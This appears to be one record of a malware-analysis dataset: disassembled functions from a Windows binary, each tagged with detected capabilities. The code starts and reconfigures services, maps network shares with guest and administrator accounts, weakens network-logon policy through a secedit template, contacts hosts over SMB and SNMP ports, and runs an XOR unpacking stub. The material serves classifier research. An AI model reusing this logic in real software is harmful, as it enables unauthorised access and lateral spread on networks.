joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46f0e0
Capabilities:
Modify service
Query service status
Start service

Disassembly:
sub esp, 0x24
push ebp
push esi
xor esi, esi
xor eax, eax
push 0xf003f
push esi
push esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x14], esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebp, eax
cmp ebp, esi
jne 0x46f124
pop esi
xor eax, eax
pop ebp
add esp, 0x24
ret
push ebx
push edi
mov ebx, str.LanmanWorkstation
mov dword [esp + 0x14], 0x21
push 0xf01ff
push ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
je 0x46f1df
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x46f1d8
cmp dword [esp + 0x1c], 4
je 0x46f1d8
lea ecx, [esp + 0x10]
push ecx
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
mov edx, dword [esp + 0x10]
push edx
call fcn.00476c60
mov esi, eax
mov eax, dword [esp + 0x14]
push eax
push 0
push esi
call fcn.00477820
mov edx, dword [esp + 0x20]
add esp, 0x10
lea ecx, [esp + 0x10]
push ecx
push edx
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
test eax, eax
je 0x46f1cd
mov eax, dword [esi + 0x20]
mov ecx, dword [esi + 0x1c]
mov edx, dword [esi + 0x18]
push eax
push 0
push ecx
mov ecx, dword [esi + 0x10]
push edx
mov edx, dword [esi + 0xc]
lea eax, [esi + 0x14]
push eax
mov eax, dword [esi + 8]
push ecx
mov ecx, dword [esi]
push edx
push eax
push 2
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add ebx, 0x40
sub dword [esp + 0x14], 1
jne 0x46f133
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop ebx
pop esi
mov eax, 1
pop ebp
add esp, 0x24
ret
Function at 0x46f640
Capabilities:
Connect network resource

Disassembly:
sub esp, 0x20
push esi
xor eax, eax
push 1
push str.guest
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x30]
push 0x499f38
lea ecx, [esp + 0x10]
push ecx
xor esi, esi
mov dword [esp + 0x14], 2
mov dword [esp + 0x20], 1
mov dword [esp + 0x28], eax
call sub.MPR.dll_WNetAddConnection2W
cmp eax, 0x1e7
ja 0x46f6a6
je case.0x46f6b9.1222
cmp eax, 0x40
ja case.0x46f6b9.1223
movzx edx, byte [eax + 0x46f6fc]
jmp dword [edx*4 + 0x46f6f0]
sub eax, 0x4c6
cmp eax, 0xa3
ja case.0x46f6b9.1223
movzx eax, byte [eax + 0x46f74c]
jmp dword [eax*4 + 0x46f740]
xor eax, eax
pop esi
add esp, 0x20
ret
push 1
push str.administrator
push 0x499f38
lea ecx, [esp + 0x10]
push ecx
call sub.MPR.dll_WNetAddConnection2W
test eax, eax
jne case.0x46f6b9.1223
mov esi, 1
mov eax, esi
pop esi
add esp, 0x20
ret

Function at 0x46f8b0
Capabilities:
Check if file exists

Disassembly:
sub esp, 0xc
mov eax, dword [esp + 0x10]
push esi
push eax
mov dword [esp + 8], 0
xor esi, esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x46f945
push edi
mov edi, dword [esp + 0x1c]
lea ecx, [esp + 8]
push ecx
push 0x1f6
push edi
push esi
call sub.NETAPI32.dll_NetShareGetInfo
test eax, eax
jne 0x46f944
mov edx, dword [esp + 0x20]
push edx
push edi
call fcn.0046ed20
add esp, 8
test eax, eax
je 0x46f8fe
mov esi, 1
mov eax, dword [esp + 0x24]
push 0
lea ecx, [esp + 0x10]
push ecx
push 0x3ee
push edi
push 0
mov dword [esp + 0x20], eax
call sub.NETAPI32.dll_NetShareSetInfo
test eax, eax
jne 0x46f921
lea esi, [eax + 1]
mov edx, dword [esp + 0x28]
push 0
lea eax, [esp + 0x14]
push eax
push 0x3ec
push edi
push 0
mov dword [esp + 0x24], edx
call sub.NETAPI32.dll_NetShareSetInfo
test eax, eax
jne 0x46f944
lea esi, [eax + 1]
pop edi
mov eax, dword [esp + 4]
test eax, eax
je 0x46f953
push eax
call sub.NETAPI32.dll_NetApiBufferFree
mov eax, esi
pop esi
add esp, 0xc
ret
Function at 0x46f960
Capabilities:
Delete file
Get common file path
Persist via application shimming
Write file on windows

Disassembly:
sub esp, 0x620
mov eax, dword [0x4b39fc]
xor eax, esp
mov dword [esp + 0x61c], eax
push esi
push 0x208
lea eax, [esp + 0xc]
push 0
push eax
call fcn.00477820
push 0x208
lea ecx, [esp + 0x428]
push 0
push ecx
call fcn.00477820
push 0x208
lea edx, [esp + 0x22c]
push 0
push edx
call fcn.00477820
add esp, 0x24
lea eax, [esp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea ecx, [esp + 8]
push ecx
push str._szcl.sdb
lea edx, [esp + 0x420]
push 0x104
push edx
call fcn.00463bb0
lea eax, [esp + 0x18]
push eax
push str._szcl.inf
lea ecx, [esp + 0x228]
push 0x104
push ecx
call fcn.00463bb0
add esp, 0x20
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
lea edx, [esp + 0x228]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x46fa46
push 0
lea eax, [esp + 8]
push eax
push 0xce
push str._Unicode__r_nUnicodeyes_r_n_Version__r_nsignature__CHICAGO___r_nRevision1_r_n_Privilege_Rights__r_nsedenynetworklogonright___r_nsenetworklogonright__Everyone_Administrators_Users_Power_Users_Backup_Operators_guest_r_n
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
jne 0x46fa5e
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
mov ecx, dword [esp + 0x61c]
xor ecx, esp
call fcn.004771de
add esp, 0x620
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x210]
push ecx
lea edx, [esp + 0x41c]
push edx
push str._secedit.exe___configure__db__s__cfg__s__quiet
lea eax, [esp + 0x14]
push 0x104
push eax
call fcn.00463bb0
push 1
lea eax, [esp + 0x20]
call fcn.0046ea00
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
add esp, 0x18
lea ecx, [esp + 0x418]
push ecx
call esi
lea edx, [esp + 0x210]
push edx
call esi
mov ecx, dword [esp + 0x620]
pop esi
xor ecx, esp
mov eax, 1
call fcn.004771de
add esp, 0x620
ret
Function at 0x473370
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x48e5eb
mov eax, dword fs:[0]
push eax
sub esp, 0x8a4
mov eax, dword [0x4b39fc]
xor eax, esp
mov dword [esp + 0x8a0], eax
push esi
mov eax, dword [0x4b39fc]
xor eax, esp
push eax
lea eax, [esp + 0x8ac]
mov dword fs:[0], eax
mov esi, dword [esp + 0x8bc]
lea ecx, [esp + 8]
call fcn.004731c0
push 0
push SysReAllocString
push SysReAllocString
push SysReAllocString
push SysReAllocString
push 0x81
push 0x86c80000
push 0
push esi
lea ecx, [esp + 0x2c]
mov dword [esp + 0x8d8], 0
call fcn.00401370
push 1
lea ecx, [esp + 0xc]
call fcn.00401440
mov esi, dword [0x4b99d8]
lea ecx, [esp + 8]
mov dword [esp + 0x8b4], 0xffffffff
mov dword [esp + 8], vtable.NetworkCardWindow.5.0
mov dword [esp + 0x18], vtable.NetworkCardWindow.4.0
mov dword [esp + 0x28], vtable.NetworkCardWindow.3.0
mov dword [esp + 0x2c], vtable.NetworkCardWindow.2.0
mov dword [esp + 0x30], vtable.NetworkCardWindow.1.0
mov dword [esp + 0x34], vtable.NetworkCardWindow.0
call fcn.00462f70
mov eax, esi
mov ecx, dword [esp + 0x8ac]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x8a0]
xor ecx, esp
call fcn.004771de
add esp, 0x8b0
ret
Function at 0x474150
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
sub esp, 0x30
mov eax, dword [0x4b39fc]
xor eax, esp
mov dword [esp + 0x2c], eax
push ebx
mov ebx, dword [esp + 0x38]
push ebp
push esi
push edi
xor edi, edi
push edi
push 2
xor ebp, ebp
push 2
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], 5
mov dword [esp + 0x24], edi
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x474333
push 8
lea eax, [esp + 0x18]
push eax
push 0x1006
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x47431f
xor eax, eax
push ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0xa1
mov dword [esp + 0x24], eax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0x20]
push edx
push ebp
push 0x27
push 0x4974f4
mov ecx, 2
push esi
mov word [esp + 0x36], ax
mov word [esp + 0x34], cx
call dword [sym.imp.WS2_32.dll_sendto]
test eax, eax
jle 0x47431f
cmp eax, 0x27
jne 0x47431f
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xc8
call ebx
xor eax, eax
push 0x200
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
call fcn.00476c60
push 0x200
mov edi, eax
push ebp
push edi
call fcn.00477820
add esp, 0x10
push 0x4b3870
lea eax, [esp + 0x30]
push eax
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_recvfrom]
push 0x200
push edi
push esi
call ebp
test eax, eax
jle 0x47431b
push 0x10
lea ecx, [esp + 0x20]
push ecx
push 0
push 0x30
push 0x4974c4
push esi
call dword [sym.imp.WS2_32.dll_sendto]
test eax, eax
jle 0x47431b
cmp eax, 0x30
jne 0x47431b
push 0xc8
call ebx
push 0x200
push 0
push edi
call fcn.00477820
add esp, 0xc
push 0x4b3870
lea edx, [esp + 0x30]
push edx
push 0
push 0x200
push edi
push esi
call ebp
test eax, eax
jle 0x47431b
push 0x10
lea eax, [esp + 0x20]
push eax
push 0
push 0x29
push 0x497498
push esi
call dword [sym.imp.WS2_32.dll_sendto]
test eax, eax
jle 0x47431b
cmp eax, 0x29
jne 0x47431b
push 0xc8
call ebx
push 0x200
push 0
push edi
call fcn.00477820
add esp, 0xc
push 0x4b3870
lea ecx, [esp + 0x30]
push ecx
push 0
push 0x200
push edi
push esi
call ebp
test eax, eax
jle 0x47431b
mov dword [esp + 0x10], 1
mov ebp, dword [esp + 0x10]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
test edi, edi
je 0x474333
push edi
call fcn.00478198
add esp, 4
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
xor ecx, esp
call fcn.004771de
add esp, 0x30
ret
Function at 0x474350
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 8
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
lea eax, [esp + 4]
push eax
push 0x101
push 0
push ecx
push edx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4743a4
mov eax, dword [esp + 4]
test eax, eax
je 0x4743b3
mov edx, dword [esp + 0x14]
lea ecx, [esp]
push ecx
push 0
push 0x4b38bc
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [esp + 4]
test eax, eax
je 0x4743b3
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp]
add esp, 8
ret
Function at 0x474830
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
sub esp, 0x20
mov eax, dword [0x4b39fc]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
mov ebx, dword [esp + 0x28]
push ebp
push esi
xor esi, esi
xor ebp, ebp
mov dword [esp + 0xc], ebp
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], esi
cmp ebx, esi
je 0x4749ea
push edi
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x4749e9
push 8
lea eax, [esp + 0x18]
push eax
push 0x1006
push 0xffff
push edi
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x4749d5
xor eax, eax
mov ecx, 2
mov dword [esp + 0x1c], eax
push ebx
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov word [esp + 0x20], cx
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x1bd
mov dword [esp + 0x24], eax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0x20]
push edx
push edi
mov word [esp + 0x2a], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x4749d5
push ebp
push 0xa8
push 0x4976e8
push edi
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x4749d5
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xc8
call ebx
push 0x200
call fcn.00476c60
push 0x200
mov esi, eax
push ebp
push esi
call fcn.00477820
add esp, 0x10
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_recv]
push 0x200
push esi
push edi
call ebp
test eax, eax
jle 0x4749d1
push 0
push 0x55
push 0x497790
push edi
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x4749d1
push 0xc8
call ebx
push 0x200
push 0
push esi
call fcn.00477820
add esp, 0xc
push 0
push 0x200
push esi
push edi
call ebp
test eax, eax
jle 0x4749d1
cmp byte [esi + 8], 0x73
jne 0x4749d1
cmp byte [esi + 0x24], 0
jbe 0x4749d1
movzx ebp, word [esi + 0x2b]
test bp, bp
jbe 0x4749d1
lea eax, [esi + 0x2d]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x474997
sub eax, edx
mov ebx, eax
movzx eax, bp
cmp ebx, eax
jge 0x4749d1
lea ebp, [ebx + 1]
push ebp
call fcn.00476c60
push ebp
push 0
push eax
mov dword [esp + 0x20], eax
call fcn.00477820
mov ecx, dword [esp + 0x20]
push ebx
lea eax, [esi + 0x2d]
push eax
push ecx
call fcn.004779c0
add esp, 0x1c
mov ebp, dword [esp + 0x10]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
test esi, esi
je 0x4749e9
push esi
call fcn.00478198
add esp, 4
pop edi
mov ecx, dword [esp + 0x28]
pop esi
mov eax, ebp
pop ebp
pop ebx
xor ecx, esp
call fcn.004771de
add esp, 0x20
ret
Function at 0x474a00
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
sub esp, 0x24
mov eax, dword [0x4b39fc]
xor eax, esp
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x2c]
push ebp
mov ebp, dword [esp + 0x34]
push esi
mov esi, dword [esp + 0x30]
mov dword [esp + 0xc], eax
xor eax, eax
push edi
xor edi, edi
mov dword [esp + 0xc], eax
mov dword [esp + 0x14], 3
mov dword [esp + 0x18], eax
cmp esi, eax
je 0x474bab
push ebx
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x474ba8
push 8
lea ecx, [esp + 0x1c]
push ecx
push 0x1006
push 0xffff
push ebx
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x474b7d
xor eax, eax
mov edx, 2
mov dword [esp + 0x20], eax
push esi
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov word [esp + 0x24], dx
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x1bd
mov dword [esp + 0x28], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x22], ax
push 0x10
lea eax, [esp + 0x24]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x474b7d
push edi
push 0xa8
push 0x4977e8
push ebx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x474b7d
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x200
call fcn.00476c60
push 0x200
mov edi, eax
push 0
push edi
call fcn.00477820
add esp, 0x10
push 0
push 0x200
push edi
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x474b7d
cmp eax, 0x46
jbe 0x474b7d
lea edx, [edi + 0x51]
mov eax, edx
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x474b25
sub eax, esi
sar eax, 1
test eax, eax
jle 0x474b7d
lea esi, [eax + eax]
push esi
push edx
push ebp
call fcn.004779c0
lea edx, [esi + edi + 0x53]
mov eax, edx
add esp, 0xc
lea esi, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x474b50
sub eax, esi
sar eax, 1
test eax, eax
jle 0x474b7d
lea ecx, [eax + eax]
push ecx
push edx
mov edx, dword [esp + 0x1c]
push edx
call fcn.004779c0
add esp, 0xc
mov dword [esp + 0x10], 1
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
test edi, edi
je 0x474b91
push edi
call fcn.00478198
add esp, 4
mov eax, dword [esp + 0x10]
pop ebx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.004771de
add esp, 0x24
ret
mov eax, edi
pop ebx
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.004771de
add esp, 0x24
ret
Function at 0x4771de
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4b39fc]
jne 0x4771e8
repz ret
jmp fcn.0047be7c

Function at 0x485a6d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0047b86f
and dword [ebp - 4], 0
cmp dword [0x4fa82c], 0
mov ebx, eax
jne 0x485b1e
push 0x4995a4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x485bcf
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x499598
push edi
call esi
test eax, eax
je 0x485bcf
push eax
call fcn.0047b7fd
mov dword [esp], 0x499588
push edi
mov dword [0x4fa82c], eax
call esi
push eax
call fcn.0047b7fd
mov dword [esp], 0x499574
push edi
mov dword [0x4fa830], eax
call esi
push eax
call fcn.0047b7fd
mov dword [esp], 0x499558
push edi
mov dword [0x4fa834], eax
call esi
push eax
call fcn.0047b7fd
pop ecx
mov dword [0x4fa83c], eax
test eax, eax
je 0x485b1e
push 0x499540
push edi
call esi
push eax
call fcn.0047b7fd
pop ecx
mov dword [0x4fa838], eax
mov eax, dword [0x4fa838]
cmp eax, ebx
je 0x485b76
cmp dword [0x4fa83c], ebx
je 0x485b76
push eax
call fcn.0047b878
push dword [0x4fa83c]
mov esi, eax
call fcn.0047b878
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x485b76
test edi, edi
je 0x485b76
call esi
test eax, eax
je 0x485b6d
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x485b6d
test byte [ebp - 0xc], 1
jne 0x485b76
or dword [ebp + 0x10], 0x200000
jmp 0x485baf
mov eax, dword [0x4fa830]
cmp eax, ebx
je 0x485baf
push eax
call fcn.0047b878
pop ecx
test eax, eax
je 0x485baf
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x485baf
mov eax, dword [0x4fa834]
cmp eax, ebx
je 0x485baf
push eax
call fcn.0047b878
pop ecx
test eax, eax
je 0x485baf
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4fa82c]
call fcn.0047b878
pop ecx
test eax, eax
je 0x485bcf
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x485bd1
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..3ean
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x431072
nop
nop
mov ebx, 0x40915c
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x3ec41dcc
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x431060
nop
nop
nop
nop
mov eax, section..7LWLf
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4310d2
nop
nop
nop
mov ebx, 0x42f3f8
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x8000302
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4310c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x406e95
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push edi
xor edi, edi
cmp dword [eax], 0x20000000
mov dword [ebp - 4], edi
jne 0x406fdc
push ebx
push esi
push 4
pop esi
add eax, esi
mov ecx, dword [eax]
cmp ecx, 0x40020000
jne 0x406f3b
add eax, esi
mov ecx, dword [eax]
xor edx, edx
cmp ecx, 0x40000001
je 0x406ee5
cmp ecx, 0x40010001
je 0x406ee5
cmp ecx, 0x40020001
je 0x406ee5
cmp ecx, 0x40030001
jne 0x406ef0
shr ecx, 0x10
and ecx, 0xf
inc ecx
mov edx, ecx
add eax, esi
cmp dword [eax], 0x40050002
jne 0x406f02
inc edx
mov dword [ebp - 4], 0x1000
add eax, esi
mov ecx, edx
sub ecx, edi
je 0x406f35
dec ecx
je 0x406f2f
dec ecx
je 0x406f29
dec ecx
je 0x406f23
dec ecx
je 0x406f1d
dec ecx
jne 0x406f48
or dword [ebp - 4], 0xe
jmp 0x406f48
or dword [ebp - 4], 0xc
jmp 0x406f48
or dword [ebp - 4], 0xa
jmp 0x406f48
or dword [ebp - 4], 8
jmp 0x406f48
or dword [ebp - 4], 6
jmp 0x406f48
or dword [ebp - 4], 2
jmp 0x406f48
cmp ecx, 0x40030000
jne 0x406f48
mov dword [ebp - 4], esi
add eax, esi
cmp dword [eax], 0x40020003
push 0x10
pop ecx
jne 0x406f58
or dword [ebp - 4], ecx
add eax, esi
cmp dword [eax], 0x40000004
jne 0x406f66
or dword [ebp - 4], 0x20
add eax, esi
cmp dword [eax], 0x40040005
jne 0x406f74
or dword [ebp - 4], 0x40
add eax, esi
cmp dword [eax], 0x40040006
jne 0x406f82
or byte [ebp - 4], 0x80
add eax, esi
push 7
pop esi
mov edx, dword [eax]
mov ebx, esi
or ebx, 0x40000000
cmp ebx, edx
jne 0x406f97
push 3
jmp 0x406fc2
mov ebx, esi
or ebx, 0x40010000
cmp ebx, edx
je 0x406fc8
mov ebx, esi
or ebx, 0x40020000
cmp ebx, edx
jne 0x406fb4
xor edx, edx
inc edx
jmp 0x406fc3
mov ebx, esi
or ebx, 0x40030000
cmp ebx, edx
jne 0x406fd4
push 2
pop edx
shl edx, cl
or dword [ebp - 4], edx
add eax, 4
inc edi
inc ecx
inc ecx
inc esi
cmp ecx, 0x20
jb 0x406f85
shl edi, 8
or dword [ebp - 4], edi
pop esi
pop ebx
cmp dword [eax], 0xffffffff
pop edi
je 0x406fe9
mov eax, 0x8876086c
jmp 0x406ff3
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
xor eax, eax
leave
ret 8

Function at 0x41040c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0x659728
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x410464
push esi
lea eax, [ebp + 0x14]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
jne 0x410464
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 8]
jne 0x410464
xor eax, eax
inc eax
leave
ret
xor eax, eax
leave
ret
Function at 0x41048d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push edi
lea eax, [ebp - 4]
push eax
push 0x659728
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
xor edi, edi
test eax, eax
jne 0x4104fb
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
push str.DisableMMX
push dword [ebp - 4]
mov dword [ebp - 8], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4104f2
cmp dword [ebp - 0xc], 4
jne 0x4104f2
cmp dword [ebp - 0x10], edi
je 0x4104f2
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [0x6c955c], edi
xor eax, eax
jmp 0x410523
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x6c955c], edi
jge 0x41051e
mov dword [0x6c955c], edi
call fcn.00410468
test eax, eax
je 0x41051e
emms
mov dword [0x6c955c], 1
mov eax, dword [0x6c955c]
pop edi
leave
ret

Function at 0x410603
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x98
push ebx
push edi
push 0x25
pop ecx
xor eax, eax
lea edi, [ebp - 0x24]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x24]
xor bl, bl
and byte [ebp + 0x73], bl
push eax
mov dword [ebp - 0x24], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x41063a
inc bl
mov byte [ebp + 0x73], 1
cmp dword [ebp - 0x14], 1
jne 0x41065c
cmp dword [ebp - 0x20], 4
ja 0x410666
jne 0x410656
cmp dword [ebp - 0x1c], 0xa
jb 0x410656
cmp word [ebp - 0x18], 0x55d
jae 0x410666
mov byte [ebp + 0x73], 1
jmp 0x410666
cmp dword [ebp - 0x14], 2
jne 0x41067c
test bl, bl
je 0x410697
mov eax, dword [ebp + 0x7c]
sub eax, 6
je 0x410687
dec eax
je 0x410680
sub eax, 3
jne 0x41067c
cmp byte [ebp + 0x73], 0
je 0x4106a8
xor eax, eax
jmp 0x4106b0
call fcn.00410526
jmp 0x4106b0
cmp byte [ebp + 0x73], 0
jne 0x41067c
call fcn.0041055e
and eax, 4
jmp 0x4106b0
cmp dword [ebp + 0x7c], 0xa
je 0x4106a8
push dword [ebp + 0x7c]
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
jmp 0x4106b0
call fcn.0041055e
and eax, 8
pop edi
pop ebx
add ebp, 0x74
leave
ret